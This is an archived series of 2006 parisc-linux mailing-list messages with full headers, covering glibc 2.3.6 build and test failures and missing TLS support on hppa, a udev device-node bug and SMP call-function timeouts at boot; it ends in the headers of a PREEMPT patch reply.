[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/locale=
data/sort-test.out]
Error 1
make[1]: *** [localedata/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-float.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-double.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-idouble.out]
Error 1
make[1]: *** [math/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
tst-regex2.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
tst-rxspencer.out]
Error 139
make[2]:
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
annexc.out]
Error 1 (ignored)
make[1]: *** [posix/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxt=
hreads/tst-attr1.out]
Error 1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst=
-timer.out]
Error 137
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst=
-aio4.out]
Error 1
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/rt/tst=
-timer4.out]
Error 1
make[1]: *** [rt/tests] Error 2
make[2]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/ts=
t-execstack.out]
Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

(Just still have a tst-regex hanging in infinit loop?)

Unfortunately, it is without tls support, though:
dpkg-buildpackage
[...]
(exec 3>&1; exit `( ( (  cd build-tree/hppa-libc && CC=3D"gcc-4.0"
AUTOCONF=3Dfalse /CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6
/build-tree/glibc-2.3.6/configure --host=3Dhppa-linux-gnu
--build=3D$configure_build --prefix=3D/usr --without-cvs --enable-add-ons=
=3Dlibidn
,"linuxthreads " --without-selinux
--with-headers=3D/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/debian/incl=
ude
--enable-kernel=3D2.2.0
 ) 2>&1 3>&-; echo $? >&4) | tee  -a
/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/log-build-hppa-linux-gnu-lib=
c
>&3) 4>&1`)
[...]
checking size of long double... 8
running configure fragment for sysdeps/hppa/elf
checking for hppa TLS support... no
running configure fragment for libidn/sysdeps/unix
[...]

A look in config.log:
[...]
configure:7460: result: running configure fragment for sysdeps/hppa/elf
configure:7: checking for hppa TLS support
configure:44: gcc-4.0 -c -g -O2 conftest.s 1>&5
conftest.s: Assembler messages:
conftest.s:7: Error: can't resolve `foo' {.tdata section} - `$tls_gdidx$'=

{*UND* section}
conftest.s:8: Error: can't resolve `foo' {.tdata section} - `$tls_gdidx$'=

{*UND* section}
conftest.s:13: Error: can't resolve `foo' {.tdata section} - `$tls_ldidx$=
'
{*UND* section}
conftest.s:15: Error: can't resolve `foo' {.tdata section} - `$tls_ldidx$=
'
{*UND* section}
conftest.s:16: Error: can't resolve `foo' {.tdata section} - `$tls_dtpoff=
$'
{*UND* section}
conftest.s:21: Error: can't resolve `foo' {.tdata section} - `$tls_ieoff$=
'
{*UND* section}
conftest.s:22: Error: can't resolve `foo' {.tdata section} - `$tls_ieoff$=
'
{*UND* section}
conftest.s:27: Error: can't resolve `foo' {.tdata section} - `$tls_leoff$=
'
{*UND* section}
conftest.s:28: Error: can't resolve `foo' {.tdata section} - `$tls_leoff$=
'
{*UND* section}
configure:47: $? =3D 1
configure:55: result: no
configure:7460: result: running configure fragment for libidn/sysdeps/uni=
x

mmm, grab the test and try with gcc-4.1:
[...]
configure:7460: result: running configure fragment for sysdeps/hppa/elf
configure:7: checking for hppa TLS support
configure:44: gcc-4.0 -c -g -O2 conftest.s 1>&5
conftest.s: Assembler messages:
conftest.s:7: Error: can't resolve `foo' {.tdata section} - `$tls_gdidx$'=

{*UND* section}
conftest.s:8: Error: can't resolve `foo' {.tdata section} - `$tls_gdidx$'=

{*UND* section}
conftest.s:13: Error: can't resolve `foo' {.tdata section} - `$tls_ldidx$=
'
{*UND* section}
conftest.s:15: Error: can't resolve `foo' {.tdata section} - `$tls_ldidx$=
'
{*UND* section}
conftest.s:16: Error: can't resolve `foo' {.tdata section} - `$tls_dtpoff=
$'
{*UND* section}
conftest.s:21: Error: can't resolve `foo' {.tdata section} - `$tls_ieoff$=
'
{*UND* section}
conftest.s:22: Error: can't resolve `foo' {.tdata section} - `$tls_ieoff$=
'
{*UND* section}
conftest.s:27: Error: can't resolve `foo' {.tdata section} - `$tls_leoff$=
'
{*UND* section}
conftest.s:28: Error: can't resolve `foo' {.tdata section} - `$tls_leoff$=
'
{*UND* section}
configure:47: $? =3D 1
configure:55: result: no
configure:7460: result: running configure fragment for libidn/sysdeps/uni=
x

Too bad.

Even though, I trusted that gcc and binutil tls stuff was already uptream=
?
Or do I need to rebuild related pkg with some specific option or apply so=
me
patch from somewhere?

TIA for advise,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.6 + carlos tls patch?
Date: Fri, 17 Feb 2006 12:55:55 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200602171755.k1HHtt5n027351@hiauly1.hia.nrc.ca>
References: <IUUE0J$B69F9D49897C3679693F44B0E0CCFFA9@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624008 18167 80.91.229.3 (22 Nov 2014 02:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2006 17:56:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 17 Feb 2006 18:56:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 426BF7D680;
	Fri, 17 Feb 2006 10:56:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12795-07; Fri, 17 Feb 2006 10:56:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 919207D679;
	Fri, 17 Feb 2006 10:56:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D2257D668
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 10:55:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12829-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 10:55:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7EA987D666
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 10:55:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k1HHttil027352; Fri, 17 Feb 2006 12:55:56 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k1HHtt5n027351;
	Fri, 17 Feb 2006 12:55:55 -0500 (EST)
In-Reply-To: <IUUE0J$B69F9D49897C3679693F44B0E0CCFFA9@scarlet.be> from "Joel
	Soete" at Feb 17, 2006 06:31:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bWuEY3VYeSEkXL6WZHQhaXN1IGRvb8CE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23426

> Even though, I trusted that gcc and binutil tls stuff was already uptream?

I don't believe the binutils support is upstream.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.6 + carlos tls patch?
Date: Sat, 18 Feb 2006 07:41:14 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <43F65F1A.7050209@tausq.org>
References: <200602171755.k1HHtt5n027351@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624008 18172 80.91.229.3 (22 Nov 2014 02:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2006 23:41:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 18 Feb 2006 00:41:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41B777D684;
	Fri, 17 Feb 2006 16:41:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14812-01; Fri, 17 Feb 2006 16:41:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF95B7D679;
	Fri, 17 Feb 2006 16:41:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60CC47D673
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 16:41:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14176-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 16:41:30 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 8EE4C7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Feb 2006 16:41:30 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FAFDj-000777-0a; Sat, 18 Feb 2006 07:41:03 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <200602171755.k1HHtt5n027351@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ajqEYzpyeSEkXL6WZHQhaXN1IGRvb4DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23427

John David Anglin wrote:
>>Even though, I trusted that gcc and binutil tls stuff was already uptream?
> 
> 
> I don't believe the binutils support is upstream.

No, not yet. If Carlos and Dave feel the changes are ok I can submit them.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#353480: yaird: [hppa] /dev/sd* device nodes not created and eth0 not enabled
Date: Sat, 18 Feb 2006 17:49:16 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20060218224916.GT13492__30721.5146408$1416624009$gmane$org@quicksilver.road.mcmartin.ca>
References: <20060218210228.2433.50230.reportbug@treebeard.fjphome.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624009 18174 80.91.229.3 (22 Nov 2014 02:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Frans Pop <aragorn@tiscali.nl>,
 353480@bugs.debian.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2006 23:11:31 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx082) with SMTP; 19 Feb 2006 00:11:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A47BC2DE01; Sat, 18 Feb 2006 17:11:30 -0600 (CST)
Old-Return-Path: <kyle@quicksilver.road.mcmartin.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by murphy.debian.org (Postfix) with ESMTP id AD92735B73
	for <debian-hppa@lists.debian.org>; Sat, 18 Feb 2006 16:50:22 -0600 (CST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 8982E23E83;
	Sat, 18 Feb 2006 17:49:50 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26576-03; Sat, 18 Feb 2006 17:49:50 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com [70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca", Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 4728223E82;
	Sat, 18 Feb 2006 17:49:50 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 3271F3B060; Sat, 18 Feb 2006 17:49:17 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060218210228.2433.50230.reportbug@treebeard.fjphome.nl>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL,FORGED_RCVD_HELO 
	autolearn=no version=3.0.3
Resent-Message-ID: <BVHAw.A.D5.im69DB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5157
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 18 Feb 2006 17:11:30 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 88yFYyRZeSEkIL6WZHQhaXN1IGRvb4Dx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23428

On Sat, Feb 18, 2006 at 10:02:28PM +0100, Frans Pop wrote:
> udevd[862]: get_netlink_msg: unable to receive kernel netlink message: No buffer space available
> <!-- not sure about this message, but the same is shown for initramfs-tools --

This is the reason you aren't getting /dev/sd* nodes. I debugged
this yesterday, needs new udev upload, more details here:
http://marc.theaimsgroup.com/?l=linux-hotplug-devel&m=114019842906313&w=2


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP_CALL_FUNCTION timeouts
Date: Mon, 20 Feb 2006 14:07:43 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20060220190743.GC15519@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624009 18177 80.91.229.3 (22 Nov 2014 02:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2006 19:08:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 20 Feb 2006 20:08:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AB6E7D660;
	Mon, 20 Feb 2006 12:08:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12501-06; Mon, 20 Feb 2006 12:08:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40FB67D649;
	Mon, 20 Feb 2006 12:08:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 966BE7D648
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 12:08:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12201-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 12:08:51 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id E81807D647
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 12:08:50 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 0A9F623E83
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 14:08:17 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20146-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 14:08:16 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id BFB3323E82
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Feb 2006 14:08:16 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 6D6B83B060; Mon, 20 Feb 2006 14:07:43 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nXaIYy55eSEker6WZHQhaXN1IGRvb0Af
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23429

Hmm, I just saw this booting a dual 552MHz J6000:

FP[1] enabled: Rev 1 Model 16
migration_cost=2000
CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 1
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 2
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 3
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 4
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 5
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 6
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 7
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 8
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 9
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 10
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 11
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 12
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 13
SMP CALL FUNCTION TIMED OUT! (cpu=0), try 14
Setting cache flush threshold to 63134a00 (2 CPUs online)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bits of PREEMPT support [take 2]
Date: Sun, 26 Feb 2006 12:55:13 -0500
Lines: 144
Approved: news@gmane.org
Message-ID: <20060226175513.GB12426@quicksilver.road.mcmartin.ca>
References: <20060226073118.GA12426@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624009 18180 80.91.229.3 (22 Nov 2014 02:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2006 17:56:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 26 Feb 2006 18:56:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
